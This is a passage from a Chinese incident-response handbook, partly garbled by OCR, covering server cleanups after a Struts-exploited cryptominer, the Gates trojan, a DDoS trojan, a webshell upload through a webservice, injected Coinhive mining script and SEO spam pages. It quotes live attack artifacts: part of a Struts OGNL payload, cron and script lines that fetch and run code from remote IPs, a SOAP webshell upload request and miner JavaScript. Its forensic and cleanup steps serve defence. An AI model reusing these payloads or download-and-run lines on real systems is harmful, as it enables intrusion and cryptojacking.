(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

可以发现攻击代码中的操作与定时任务中异常脚本一致,据此推断黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行。

C、清除病毒

1、删除定时任务:

| WW- crontab -1 |
|--|
| # DO NOT EDIT THIS FILE - edit the master and reinstall. |
| # (- installed on Sun Oct 15 21:02:03 2017) |
| <pre># (Cron version V5.0 \$Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp \$)</pre> |
| */20 * * * * wget -0q http://5.188.87.11/icons/logo.jpg sh |
| */19 * * * * curl http://5.188.87.11/icons/logo.jpg sh |
| WW-S |
| You have new mail in /var/mail/root |
| WW-5 # |
| WW-1 crontab -r |
| WW-S. 1:/ # crontab -1 |
| no crontab for root |

2、终止异常进程:

| WW-S | 1 | netstat -anplt grep 9977 | 9 | | |
|-------|---|--------------------------|-----------------|-------------|---------------------|
| tcp | 0 | 0 127.0.0.1:1757 | 0.0.0.0:* | LISTEN | 99779/csg4mcb4njc3d |
| tcp | 0 | 0 172.27.99.129:53841 | 103.55.25.90:80 | ESTABLISHED | 99779/csg4mcb4njc3d |
| WW-(| | | | | |
| WW-r | | 🛊 kill -9 99779 | | | |
| WW-SI | | | | | |
| WW-S. | | netstat -anplt grep 9977 | 9 | | |

D、漏洞修复

升级struts到最新版本

0x03 防范措施

针对服务器被感染挖矿程序的现象,总结了几种预防措施:

- 1、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
- 2、及时更新 windows安全补丁, 开启防火墙临时关闭端口
- 3、及时更新web漏洞补丁,升级web组件

第4篇:盖茨木马

0x00 前言

Linux盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的DDoS木马,主要恶意特点是具备了后门程 序,DDoS攻击的能力,并且会替换常用的系统文件进行伪装。木马得名于其在变量函数的命名中,大量使用Gates这个 单词。分析和清除盖茨木马的过程,可以发现有很多值得去学习和借鉴的地方。

0x01 应急场景

某天,网站管理员发现服务器CPU资源异常,几个异常进程占用大量网络带宽:

| top - 15:31:56 up 4:11, 3 users, load average: 2.38, 2.23, 1.59 | | | | | | | | | | | |
|--|-----------|------|-----------|--------|----------------|--------|-------|------|---------|----------|------------------------------|
| Tasks: 391 totat, 2 running, 387 steeping, 1 stopped, 1 Zombie Cow(c), 40 Jawa 22 Aapy 0 Oari 25 Gaid 0 Oare 0 Oari 1 Gaci 0 Oart | | | | | | | | | | | |
| Cpu(s) | 16004016k | , 23 | -4%5 | 5y, ⊍. | .⊎≋nı, ≂cok | , 25.0 | 018*0 | , | 0.0%Wa | , 0.0%n1 | , 1.8%51, 0.0%51 |
| Ment: | 10334210K | 101 | dl, -1 | 74053 | | ised, | 85 | 280 | | ee, 170 | 724K Duillers 402k eached |
| Swap: | 8241144K | 101 | dl, | | UKI | ised, | 82 | 411 | 44K I D | ee, 0014 | 492K Cacheo |
| PID | USER | PR | NI | VIRT | RES | SHR | S٩ | 5CPU | %MEM | TIME+ | COMMAND |
| 1871 | root | 20 | Θ | 34184 | 3072 | 208 | S 9 | 9.1 | 0.0 | 8:44.75 | kaxvikpoxk |
| 1886 | root | 20 | Θ | 52488 | 816 | 208 | S 7 | 4.9 | 0.0 | 11:48.19 | sryetfcwyo |
| 7059 | root | 20 | Θ | 238m | 53m | 3780 | R 7 | 0.9 | 0.3 | 62:31.19 | python |
| 2750 | root | 20 | Θ | 5894m | 599m | 26m | S | 1.7 | 3.8 | 7:36.29 | Java |
| 2786 | root | 20 | Θ | 4793m | 414 m | 13m | S | 1.3 | 2.6 | 4:05.13 | java |
| 4301 | root | 20 | Θ | 2593m | 37m | 6548 | S | 1.0 | 0.2 | 2:23.14 | python |
| 2188 | root | 20 | Θ | 4015m | 193m | 16m | S | 0.7 | 1.2 | 0:43.98 | java |
| 3644 | root | 20 | Θ | 5810m | 1.lg | 29m | S | 0.7 | 7.4 | 2:08.47 | java |
| 7066 | root | 20 | Θ | 212m | 12m | 5180 | S | 0.7 | 0.1 | 0:15.46 | python |
| 30875 | root | 20 | Θ | 15304 | 1484 | 948 | R | 0.7 | 0.0 | 0:00.17 | top |
| 1 | root | 20 | Θ | 19368 | 1556 | 1240 | S | 0.3 | 0.0 | 0:07.44 | init |
| 2206 | root | 20 | Θ | 427m | 30m | 5256 | S | 0.3 | 0.2 | 0:55.12 | python |
| 2213 | root | 20 | Θ | 1311m | 29m | 7024 | S | 0.3 | 0.2 | 0:14.60 | python |
| 2591 | redisuse | 20 | Θ | 134m | 8028 | 1216 | S | 0.3 | 0.0 | 0:21.44 | redis-server |
| 3764 | root | 20 | Θ | 217m | 13m | 5296 | S | 0.3 | 0.1 | 0:04.83 | python |
| 3845 | root | 20 | Θ | 1324m | 22m | 5332 | S | 0.3 | 0.1 | 0:24.35 | python |
| 3901 | root | 20 | Θ | 214m | 12m | 5212 | S | 0.3 | 0.1 | 0:03.77 | python |
| 3925 | root | 20 | Θ | 222m | 15m | 5296 | S | 0.3 | 0.1 | 0:40.85 | python |
| 4272 | postgres | 20 | Θ | 337m | 15m | 12m | S | 0.3 | 0.1 | 0:06.87 | postmaster |
| 4436 | root | 20 | Θ | 1638m | 88m | 6200 | S | 0.3 | 0.6 | 2:58.12 | python |
| 5582 | root | 20 | Θ | 304m | 21m | 5668 | S | 0.3 | 0.1 | 0:55.51 | python |
| 5594 | root | 20 | Θ | 305m | 21m | 5668 | S | 0.3 | 0.1 | 0:56.38 | python |
| 7109 | root | 20 | Θ | 650m | 455m | 5268 | S | 0.3 | 2.9 | 0:22.28 | hekad |
| 2 | root | 20 | Θ | Θ | Θ | Θ | S | 0.0 | 0.0 | 0:00.00 | kthreadd |
| 3 | root | RT | Θ | Θ | Θ | Θ | S | 0.0 | 0.0 | 0:00.78 | migration/0 |

0x02 事件分析

异常IP连接:

| [root@localhost bsd-port]# netstat -anplt | | | | | | | | | | | |
|---|--------|--------|---------|--------------|-----|--------------------|-------------|------------------|--|--|--|
| Active Internet connections (servers and established) | | | | | | | | | | | |
| Proto | Recv-Q | Send-Q | Local A | ddress | E | 'oreign Address | State | PID/Program name | | | |
| tcp | 0 | 0 | 0.0.0.0 | :22 | 0 | .0.0.0:* | LISTEN | 5670/sshd | | | |
| tcp | 0 | 0 | 127.0.0 | .1:631 | 0 | .0.0.0:* | LISTEN | 1527/cupsd | | | |
| tcp | 0 | 0 | 127.0.0 | .1:25 | 0 | .0.0.0:* | LISTEN | 1991/master | | | |
| tcp | 0 | 0 | 0.0.0.0 | :48227 | 0 | .0.0.0:* | LISTEN | 1451/rpc.statd | | | |
| tcp | 0 | 0 | 0.0.0.0 | :111 | _ 0 | .0.0.0:* | LISTEN | 1431/rpcbind | | | |
| tcp | 0 | 1 | 192.168 | .8.146:47015 | 1 | 03.57.108.162:6001 | SYN SENT | 15076/./getty | | | |
| tcp | 0 | 52 | 192.168 | .8.146:22 | 1 | 92.168.8.1:48821 | ESTABLISHED | 5734/sshd | | | |
| tcp | 0 | 0 | :::22 | | : | ::* | LISTEN | 5670/sshd | | | |
| tcp | 0 | 0 | ::1:631 | | : | ::* | LISTEN | 1527/cupsd | | | |
| tcp | 0 | 0 | ::1:25 | | | ::* | LISTEN | 1991/master | | | |
| tcp | 0 | 0 | :::5728 | 6 | : | ::* | LISTEN | 1451/rpc.statd | | | |
| tcp | 0 | 0 | :::111 | | : | ::* | LISTEN | 1431/rpcbind | | | |

异常进程:

查看进行发现ps aux进程异常,进入该目录发现多个命令,猜测命令可能已被替换

登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程:

| root | 2124 | 0.0 | 0.0 | 3020 | 496 ? | Ss | 14:48 | 0:00 /usr/sbin/atd |
|----------|---------|-------|-------|--------|------------------------|--------|-------|--|
| root | 2291 | 0.0 | 0.0 | 2004 | 472 tty2 | Ss+ | 14:48 | 0:00 /sbin/mingetty /dev/tty2 |
| root | 2293 | 0.0 | 0.0 | 2004 | 476 tty3 | Ss+ | 14:48 | 0:00 /sbin/mingetty /dev/tty3 |
| root | 2295 | 0.0 | 0.0 | 2004 | 472 tty4 | Ss+ | 14:48 | 0:00 /sbin/mingetty /dev/tty4 |
| root | 2297 | 0.0 | 0.1 | 3360 | 1828 ? | S< | 14:48 | 0:00 /sbin/udevd -d |
| root | 2298 | 0.0 | 0.1 | 3360 | 1832 ? | S< | 14:48 | 0:00 /sbin/udevd -d |
| root | 2300 | 0.0 | 0.0 | 2004 | 500 tty5 | Ss+ | 14:48 | 0:00 /sbin/mingetty /dev/tty5 |
| root | 2305 | 0.0 | 0.0 | 2004 | 472 tty6 | Ss+ | 14:48 | 0:00 /sbin/mingetty /dev/tty6 |
| root | 5322 | 0.0 | 0.2 | 22732 | 3084 ? | S1 | 14:49 | 0:00 /usr/sbin/console-kit-daemonno-daemon |
| root | 5670 | 0.0 | 0.1 | 9008 | 1040 ? | Ss | 14:49 | 0:00 /usr/sbin/sshd |
| root | 5734 | 0.0 | 0.3 | 12076 | 3808 ? | Ss | 14:50 | 0:01 sshd: root@pts/0 |
| root | 5757 | 0.0 | 0.1 | 6952 | 1808 pts/0 | Ss | 14:50 | 0:00 -bash |
| root | 8510 | 0.0 | 0.0 | 2004 | 472 ttyl | Ss+ | 15:04 | 0:00 /sbin/mingetty /dev/ttyl |
| root | 10628 | 0.0 | 0.0 | 93636 | 868 ? | Ssl | 15:13 | 0:00 /usr/bin/dpkgd/ps aux |
| root | 10704 | 0.0 | 0.0 | 11716 | 544 ? | Ssl | 15:13 | 0:00 /usr/bin/.sshd |
| root | 14033 | 0.0 | 0.0 | 1372 | 924 ? | Ss | 15:27 | 0:00 gnome-terminal |
| root | 14036 | 0.0 | 0.0 | 1372 | 924 ? | Ss | 15:27 | 0:00 su |
| root | 14038 | 0.0 | 0.0 | 1372 | 924 ? | Ss | 15:27 | 0:00 echo "find" |
| root | 14039 | 0.0 | 0.0 | 1372 | 924 ? | Ss | 15:27 | 0:00 ifconfig eth0 |
| root | 14040 | 0.0 | 0.1 | 6544 | 1060 pts/0 | R+ | 15:27 | 0:00 ps aux |
| [root@lo | calhost | dpkg | d]# ^ | С | | | | |
| [root@lo | calhost | dpkg | d]# c | d /usr | /bin/dpkgd | | | |
| [root@lo | calhost | dpkg | d]# | | | | | |
| [root@lo | calhost | dpkg | d]# 1 | s -lh | | | | |
| 总用量 1 | .6M | | | | | | | |
| -rwxr-xr | -x. 1 r | oot r | oot 1 | 44K 9月 | 3 14:56 1 | .sof | | |
| -rwxr-xr | -x. 1 r | oot r | oot 1 | 21K 9月 | 3 14:56 n | etstat | | |
| -rwxr-xr | -x. 1 r | oot r | oot 1 | .2M 9月 | 3 14:56 p | S | | |
| -rwxr-xr | -x. 1 r | oot r | oot | 73K 9月 | 3 14:56 <mark>s</mark> | S | | |

异常启动项

进入rc3.d目录可以发现多个异常进行:

/etc/rc.d/rc3.d/S97DbSecuritySpt

/etc/rc.d/rc3.d/S99selinux

| [root@local | (root@localhost rc.d] + 1s | | | | | | | | | | | |
|---|----------------------------|-----------------|--------------|------------|-------------------------|-------------------|------------|-------------|-------------|------------|-----------|------------------------|
| init.d rc rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d rc.local rc.sysinit | | | | | | | | | | | | |
| [root@loca] | lhost rc.d]# cd i | nit.d/ | | | | | | | | | | |
| [root@local | lhost init.d]# ls | | | | | | | | | | | |
| abrt-ccpp | auditd | cgred | functions | ip6tables | kugpfxroiy | mysqld | nfslock | portreserve | restorecond | rpcsvcgssd | single | vmware-tools |
| abrtd | autofs | cpuspeed | haldaemon | iptables | <pre>lvm2-lvmetad</pre> | netconsole | ntpd | postfix | rngd | rsyslog | smartd | vmware-tools-thinprint |
| abrt-oops | blk-availability | crond | halt | irqbalance | lvm2-monitor | netfs | ntpdate | psacct | rpcbind | sandbox | sshd | winbind |
| acpid | certmonger | cups | htcacheclean | kdump | mdmonitor | network | numad | quota_nld | rpcgssd | saslauthd | sssd | xinetd |
| atd | cgconfig | DbSecuritySpt | httpd | killall | messagebus | nfs | oddjobd | rdisc | rpcidmapd | selinux | udev-post | ypbind |
| [root@loca] | lhost init.d]# mo | re DbSecuritySp | 5 | | | | | | | | | |
| <pre>#!/bin/bash</pre> | 1 | | | | | | | | | | | |
| /usr/bin/dp | okgd/ps | | | | | | | | | | | |
| [root@local | lhost init.d]# mo | re selinux | | | | | | | | | | |
| #!/bin/bash | 1 | | | | | | | | | | | |
| /usr/bin/bs | d-port/getty | | | | | | | | | | | |
| | | | | | | | | | | | | |
| 11.001 | MALWA, I | 1006 100 | 6 10 12) | 1 10 1 | 1.02 000 | orona | · · · · | init or u | orona | | | |
| lrwxi | wxrwx. 1 | root roo | t 20 12) | 3 22 1 | 4:48 S90 | kugpfxn | oiy - | ->/in | hit.d/ku | ugpfxro | iy | |
| 1 1 1 1 1 1 1 1 | www.ww | root roo | + 13 18 | 10.2 | 016 \$955 | +d -> | /ini | it d/at/ | 4 | | | |
| TIWAL | WALWA, I | 1000 100 | 0 10 1/5 | 10 2 | 010 335a | | · · / III. | 10.0/40 | 4 | | | |
| lrwxr | wxrwx. 1 | root roo | t 25 9月 | 3 1 | 4:56 \$97 | DbSecui | ritySp | ot -> /0 | etc/init | d/DbS | ecurit | ySpt |
| lrwxr | wxrwx. 1 | root roo | t 20 1月 | 10 2 | 016 <mark>S99c</mark> | ertmong | jer -: | >/ini | it.d/ce | rtmonge | r | |
| 1rwx1 | wxrwx. 1 | root roo | t 11 1月 | 10 2 | 016 \$991 | ocal -> | >/1 | rc.local | L | | | |
| 1 rwxr | wxrwx. 1 | root roo | t 19 9月 | 3 1 | 4:56 \$99 | selinu | (-> | /etc/ini | t.d/sel | inux | | |
| | | 2008 200 | 0 10 0/0 | | | o o i a i i i o i | | 000/111 | | | | |

搜索病毒原体

find / -size -1223124c -size +1223122c -exec ls -id {} \; 搜索1223123大小的文件

[root@localhost rc3.d]# find / -size -1223124c -size +1223122c -exec ls -id {} \; 529599 /bin/ps 524140 /bin/netstat 659226 /usr/bin/bsd-port/getty 659230 /usr/bin/dpkgd/ps 278271 /usr/bin/.sshd 271230 /usr/sbin/ss 284915 /usr/sbin/lsof find: " /proc/16353": 没有那个文件或目录 find: "/proc/16356":没有那个文件或目录 find: `` /proc/16358" : 没有那个文件或目录 find: "/proc/16359":没有那个文件或目录 find: `` /proc/16375/task/16375/fd/5" : 没有那个文件或目录 find: `` /proc/16375/task/16375/fdinfo/5" : 没有那个文件或目录 find: `` /proc/16375/fd/5" : 没有那个文件或目录 find: `` /proc/16375/fdinfo/5" : 没有那个文件或目录

从以上种种行为发现该病毒与"盖茨木马"有点类似,具体技术分析细节详见:

Linux平台"盖茨木马"分析

http://www.freebuf.com/articles/system/117823.html

悬镜服务器卫士 | Linux平台"盖茨木马"分析

http://www.sohu.com/a/117926079 515168

手动清除木马过程:

```
1、简单判断有无木马
#有无下列文件
cat /etc/rc.d/init.d/selinux
cat /etc/rc.d/init.d/DbSecuritySpt
ls /usr/bin/bsd-port
ls /usr/bin/dpkqd
#查看大小是否正常
ls -lh /bin/netstat
ls -lh /bin/ps
ls -lh /usr/sbin/lsof
ls -lh /usr/sbin/ss
2、上传如下命令到/root下
ps netstat ss lsof
3、删除如下目录及文件
rm -rf /usr/bin/dpkgd (ps netstat lsof ss)
rm -rf /usr/bin/bsd-port #木马程序
rm -f /usr/bin/.sshd
                           #木马后门
rm -f /tmp/gates.lod
rm -f /tmp/moni.lod
rm -f /etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序)
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc4.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc5.d/S97DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux(默认是启动/usr/bin/bsd-port/getty)
rm -f /etc/rc.d/rc1.d/S99selinux
```
```
rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
rm -f /etc/rc.d/rc4.d/S99selinux
rm -f /etc/rc.d/rc5.d/S99selinux
4、找出异常程序并杀死
5、删除含木马命令并重新安装
```

0x03 命令替换

RPM check检查:

系统完整性也可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版 本rpm二进制到服务器上进行检查 ./rpm -Va > rpm.log 如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是8位长字符串,``c 用以指配置文 件,接着是文件名.8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果 。``.(点)表示测试通过。.下面的 字符表示对RPM软件包进行的某种测试失败:

验证内容中的8个信息的具体内容如下:
S 文件大小是否改变
M 文件的类型或文件的权限(rwx)是否被改变
5 文件MD5校验和是否改变(可以看成文件内容是否改变)
D 设备的中,□从代码是否改变
L 文件路径是否改变
U 文件的属主(所有者)是否改变
G 文件的属组是否改变
T 文件的修改时间是否改变)

命令替换:

rpm2cpio 包全名 | cpio -idv .文件绝对路径 rpm包中文件提取 Rpm2cpio 将rpm包转换为cpio格式的命令 Cpio 是一个标准工具,它用于创建软件档案文件和从档案文件中提取文件 Cpio 选项 < [文件|设备] -i: copy-in模式,还原 -d: 还原时自动新建目录 -v: 显示还原过程

文件提取还原案例:

rpm -qf /bin/ls 查询ls命令属于哪个软件包
mv /bin/ls /tmp
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取rpm包中ls命令
到当前目录的/bin/ls下
cp /root/bin/ls /bin/ 把ls命令复制到/bin/目录 修复文件丢失

挂载命令rpm包: mkdir /mnt/chrom/ 建立挂载点 mount -t iso9660 /dev/cdrom /mnt/cdrom/ 挂在光盘 mount/dev/sr0 /mnt/cdrom/

卸载命令 umount 设备文件名或挂载点 umount /mnt/cdrom/

[root@localhost mnt]# ls

```
cdrom chrom ngrs
[root@localhost mnt]# rpm -qf /bin/ps
procps-3.2.8-30.el6.i686
[root@localhost mnt]# rpm2cpio /mnt/cdrom/Packages/procps-3.2.8-30.el6.i686.rpm | cpio -idv ./bin/ps
./bin/ps
862 块
[root@localhost mnt]# ls
bin cdrom chrom hgfs
[root@localhost mnt]# cd bin
[root@localhost bin]# cd bin
[root@localhost bin]# ls
ps
[root@localhost bin]# cp ps /bin/ps
cp: 是否覆盖"/bin/ps"?_ yes
```

第5篇: DDOS病毒

现象描述

某服务器网络资源异常,感染该木马病毒的服务器会占用网络带宽,甚至影响网络业务正常应用。

系统分析

针对日志服务器病毒事件排查情况:在开机启动项/etc/rc.d/rc.local发现可疑的sh.sh脚本,进一步跟踪sh.sh脚本,这是一个检测病毒十分钟存活的脚本。

在root目录下发现存活检测脚本

```
[root@espctest /]# cd root/
[root@espctest root]# ls
                                install.log.syslog VMwareTools-9.4.10-2068191.tar.gz wget
sh.sh vmware-tools-distrib
anaconda-ks.cfg conf.n
conf.m
                  install.log sh.sh
[root@espctest root]# more sh.sh
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
                  qun:10776622
                  2016-06-14
if [ "sh /etc/chongfu.sh &" = "$(cat /etc/rc.local | grep /etc/chongfu.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/chongfu.sh &" >> /etc/rc.local
fi
while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/root/conf.m" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/root/conf.m" ]; then
             if [ -f "/usr/bin/wget" ]; then
                 cp /usr/bin/wget .
                 chmod +x wget
                 #./wget -P . http://222.186.21.228:27/conf.m
./wget -P /root/ http://222.186.21.228:27/conf.m &> /dev/null
                 chmod 755 /root/conf.m
                 rm wget -rf
            else
                 echo "No wget"
```

解决步骤:

- 1. 结束进程 ps aux | grep "conf.m" | grep -v grep | awk '{print \$2}'| xargs kill -9
- 2. 清除自动启动脚本 vim /etc/rc.local 去掉 sh /etc/chongfu.sh &
- 3. 清除 脚本 rm -rf /etc/chongfu.sh /tem/chongfu.sh
- 4. 修改登录密码 passwd
- 5. 重启。 reboot

第六章:Web实战篇

第1篇:网站被植入Webshell

网站被植入webshell, 意味着网站存在可利用的高危漏洞, 攻击者通过利用漏洞入侵网站, 写入webshell接管网站的控制权。为了得到权限, 常规的手段如: 前后台任意文件上传, 远程命令执行, Sql注入写入文件等。

现象描述

网站管理员在站点目录下发现存在webshell,于是开始了对入侵过程展开了分析。

| 扫描位置 D:\smartexan | | | | • | 111+0-12-111 |
|-------------------------------------|-------------|-------------------|------|---------------------|--------------|
| 检测类型 胸本+图片 ▼ ☑ 列出隐藏胸却 | 🖞 🗌 不显示低级别脚 | 体 (1级) 🔽 显示Zend加密 | 目录排除 | 选择目录 | 779833398 |
| 文件 | (銀別) | 说明 | 大小 | 修改时间 | 验证值 |
| D:\smartexam\Web\adminpassword.aspx | 5 | 动态加载后门 | 270 | 2017-07-08 01:02:10 | 62C5C5CB |
| | | | | | |
| | | | | | |
| | | | | | |

Webshell查杀工具:

D盾_Web查杀 Window下webshell查杀: http://www.d99net.net/index.asp

河马: 支持多平台, 但是需要联网环境。

使用方法: wget <u>http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz</u> tar xvf hm-linux-amd64.tgz hm scan /www

事件分析

1、定位时间范围

通过发现的webshell文件创建时间点,去翻看相关日期的访问日志。



2、Web 日志分析

经过日志分析,在文件创建的时间节点并未发现可疑的上传,但发现存在可疑的webservice接口

2017-07-07 17:01:49 210. .53 POST /SmartExam/fileservice/FileManage.asmx - 80 - 10.16.65.4 Mozilla/4.0+(compa 2017-07-07 17:01:57 210. .53 POST /SmartExam/fileservice/FileManage.asmx - 80 - 10.16.65.4 Mozilla/4.0+(compa 2017-07-07 17:02:05 210. .53 POST /SmartExam/fileservice/FileManage.asmx - 80 - 10.16.65.4 Mozilla/4.0+(compa

3、漏洞分析

访问webservice接口,发现变量:buffer、distinctpach、newfilename可以在客户端自定义

| nttp:// | martExam/fileservice/FileM | lanage.asmx?l | NSDL | | | | Loa |
|--|---|---|-------------------------------|----------------------|----------------|---|-------|
| Interface | | Operation | | | | | |
| FileManageSoap12 | • | UploadFi | e | | | - | Ne |
| | Prefix | | | | Uri | | |
| | 1 Torting | | | | | | |
| soap | T TOTAL | | http://www.w | /3.org/2(ri.ora/ |)03/05/soap-en | velope | |
| soap tem | | | http://www.w http://tempu | /3.org/2(ri.org/ |)03/05/soap-en | velope | |
| soap tem Request Input Table | Request Expert View | | http://www.w http://tempu | /3.org/20 ri.org/ | 003/05/soap-en | velope | |
| soap tem Request Input Table Name | Request Expert View | Parents | http://www.w http://tempu | /3.org/2(ri.org/ | 103/05/soap-en | Velope | |
| soap tem Request Input Table Name tem:buffer | Request Expert View soap:Envelope -> soap:B | Parents Body -> tem:Up | http://www.w http://tempu | /3.org/2(ri.org/ | 103/05/soap-en | velope Value QCBQYWdllExhbr | md1YW |
| soap tem Request Input Table Name tem:buffer tem:distinctPath | Request Expert View soap:Envelope -> soap:B soap:Envelope -> soap:B | Parents Body -> tem:Up Body -> tem:Up | http://www.w http://tempui | /3.org/2(ri.org/ | IDwl | Value QCBQYWdllExhbr martexam\Web | md1YW |

4、漏洞复现

尝试对漏洞进行复现,可成功上传webshell,控制网站服务器

| WSDL Loader | Test Request | Plugin Configuration | Attack Overview | Log | Expert View | Configuration |] |
|---|---|---|--------------------------------|---------|------------------------------|--------------------------------|------------|
| URL Endpoint: | http:/ | martExam/fileserv | ice/FileManage.asmx | | | | |
| XML Request | Additional HT | TP Request Headers |] | | | | |
| <pre><soap:envelo <!="" <!-="" <!<="" <soap:bod="" <soap:hea="" <te="" <tee="" <tem:u="" th=""><th><pre>pe xmlns:soap= der/> y> ploadFile> -Optional:> m:buffer>IDwlQ -Optional:> m:distinctPath -Optional:> m:newFileName> UploadFile> dy> core</pre></th><th><pre>"http://www.w3.or CBQYWdlIExhbmd1YW >D:\smartexam\Web 22.aspx</pre></th><th>dlPSJKc2NyaXB0IiU+ ileName></th><th>PCVldmF</th><th>xmlns:tem="h sKFJlcXVlc3Q</th><th>uSXRlbVsiY2hvo</th><th>org/"> ▲</th></soap:envelo></pre> | <pre>pe xmlns:soap= der/> y> ploadFile> -Optional:> m:buffer>IDwlQ -Optional:> m:distinctPath -Optional:> m:newFileName> UploadFile> dy> core</pre> | <pre>"http://www.w3.or CBQYWdlIExhbmd1YW >D:\smartexam\Web 22.aspx</pre> | dlPSJKc2NyaXB0IiU+ ileName> | PCVldmF | xmlns:tem="h sKFJlcXVlc3Q | uSXRlbVsiY2hvo | org/"> ▲ |
| <th>ope></th> <th>11</th> <th></th> <th></th> <th></th> <th></th> <th>•</th> | ope> | 11 | | | | | • |
| XML Response | e HTTP Resp | onse Headers | | | | | |
| <pre><soap:envero <soap:bod="" <uploa="" <uploa<="" pre=""></soap:envero></pre> | pe Xmins.soap- y> dFileResponse loadFileResult <haserror>fals <errorcode></errorcode></haserror> | <pre>xmlns="http://tem :> :> :e</pre> | g/2003/03/SOap-env | erobe | XWIII2.Y21- 1 | теер.,,, инит, из т | DT 87 2001 |
| <td><message></message> ploadFileResul adFileResponse dy> ope></td> <th>t> >></th> <td></td> <td></td> <th></th> <td></td> <td></td> | <message></message> ploadFileResul adFileResponse dy> ope> | t> >> | | | | | |
| | | | | | | | Send |



5、漏洞修复

清除webshell并对webservice接口进行代码修复。

从发现webshell到日志分析,再到漏洞复现和修复,本文暂不涉及溯源取证方面。

第2篇: 门罗币恶意挖矿

门罗币(Monero 或 XMR),它是一个非常注重于隐私、匿名性和不可跟踪的加密数字货币。只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。

现象描述

利用XMR恶意挖矿,会大量占用用户的CPU资源,严重影响了网站的用户体验。

从08/09日0点开始,局域网内某IP访问网站页面会触发安全预警,只要访问此服务器上的网页,CPU直线上升100%

| ٠ | 2018-08-09 09:05:36 | 3,169,56 | 172. '. 00.37 | 局域网 | 62516 | 恶意内容: Coinminer_COINHIVE.SMF-JS - HTTP (Response) |
|---|---------------------|----------------|---------------|--------|-------|--|
| • | 2018-08-09 08:15:26 | 2 . 169.100 | 172. 0.37 | 局域网 | 61186 | 恶意内容: Coinminer_COINHIVE.SMF-J5 - HTTP (Response) |
| , | 2018-08-09 08:05:23 | 2 1 169.100 | 172. (). 37 | 局域网 | 60882 | 恶意内容: Coinminer_COINHIVE.SMF-JS - HTTP (Response) |
| • | 2018-08-09 07:30:14 | 7. 1.217 | 172 7 (| 局域闷 | 60100 | 悉意内容: Coinminer_COINHIVE.SMF-JS - HTTP (Response) |
| • | 2018-08-09 06:24:58 | 2 1 1.1 9.56 | 172 '. 37 | 局域网 | 58726 | 恶意内容: Coinminer_COINHIVE.SMF-JS - HTTP (Response) |
| • | 2018-08-09 06:19:56 | 27 .4 . 19.100 | 172.: | 局域网 | 58517 | 黑意内容: Coinminer_COINHIVE.54F-JS - |
| ' | 2018-08-09 06:14:53 | 2: 1. 169.100 | 0.37 | 助1版[0] | 58411 | 志思門音: Coinminer_COINHIVE.SMF-J5 - HTTP (Response) |
| , | 2018-08-09 05:49:47 | 27 la .169.56 | 172. ' 0.37 | 局域网 | 57919 | 恶意内容: Coinminer_COINHIVE.SMF-J5 - HTTP (Response) |
| , | 2018-08-09 05:34:44 | 27 / 169.56 | 172.2 1 .37 | 局域网 | 57688 | 悉意内容: Coinminer_COINHIVE.SMF-35 - HTTP (Response) |
| • | 2018-08-09 05:19:39 | 2 \$ 169.77 | 172.2 _0 37 | 局域网 | 57251 | 思意内容: Coinminer_COINHIVE.SMF-JS - HTTP (Response) |

事件分析

通过获取恶意网页url,对网页页面进行分析,发现网站页面被植入在线门罗币挖矿代码:

<script> var script = document.createElement('script'); script.onload = function () {
 // XMR Pool hash var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu');
 // TODO: Replace the below string with wallet string
m.start('47DuVLx9UuD1gEk3M4Wge1BwQyadQs5fTew8Q3Cxi95c8W7tKTXykgDfj7HVr9aCzzUNb9vA6eZ3eJCXE9yzhmT
n1bjACGK'); }; script.src = 'https://coinhive.com/lib/coinhive.min.js';
 document.head.appendChild(script);

删除js里面的恶意代码,网站被XMR恶意挖矿,服务器已经被攻击,进一步做服务器入侵排查。

第3篇:批量挂黑页

作为一个网站管理员,你采用开源CMS做网站,比如dedecms,但是有一天,你忽然发现不知何时,网站的友情链接模块被挂大量垃圾链接,网站出现了很多不该有的目录,里面全是博彩相关的网页。而且,攻击者在挂黑页以后,会在一些小论坛注册马甲将你的网站黑页链接发到论坛,引爬虫收录。在搜索引擎搜索网站地址时,收录了一些会出现一些博彩页面,严重影响了网站形象。

现象描述:

网站存在高危漏洞,常见于一些存在安全漏洞的开源CMS,利用0day批量拿站上传黑页。

某网站被挂了非常多博彩链接,链接形式如下:

http://www.xxx.com/upload/aomendduchangzaixiandobo/index.html

http://www.xxx.com/upload/aomendduchangzaixian/index.html

http://www.xxx.com/upload/aomenzhengguidubowangzhan/index.html

链接可以访问,直接访问物理路径也可以看到文件,但是打开网站目录并没有发现这些文件,这些文件到底藏在了哪?



事件分析:

1、打开电脑文件夹选项卡,取消"隐藏受保护的操作系统文件"勾选,把"隐藏文件和文件夹"下面的单选选择"显示隐藏的 文件、文件夹和驱动器"。



2、再次查看,可以看到半透明的文件夹,清楚隐藏文件夹及所有页面

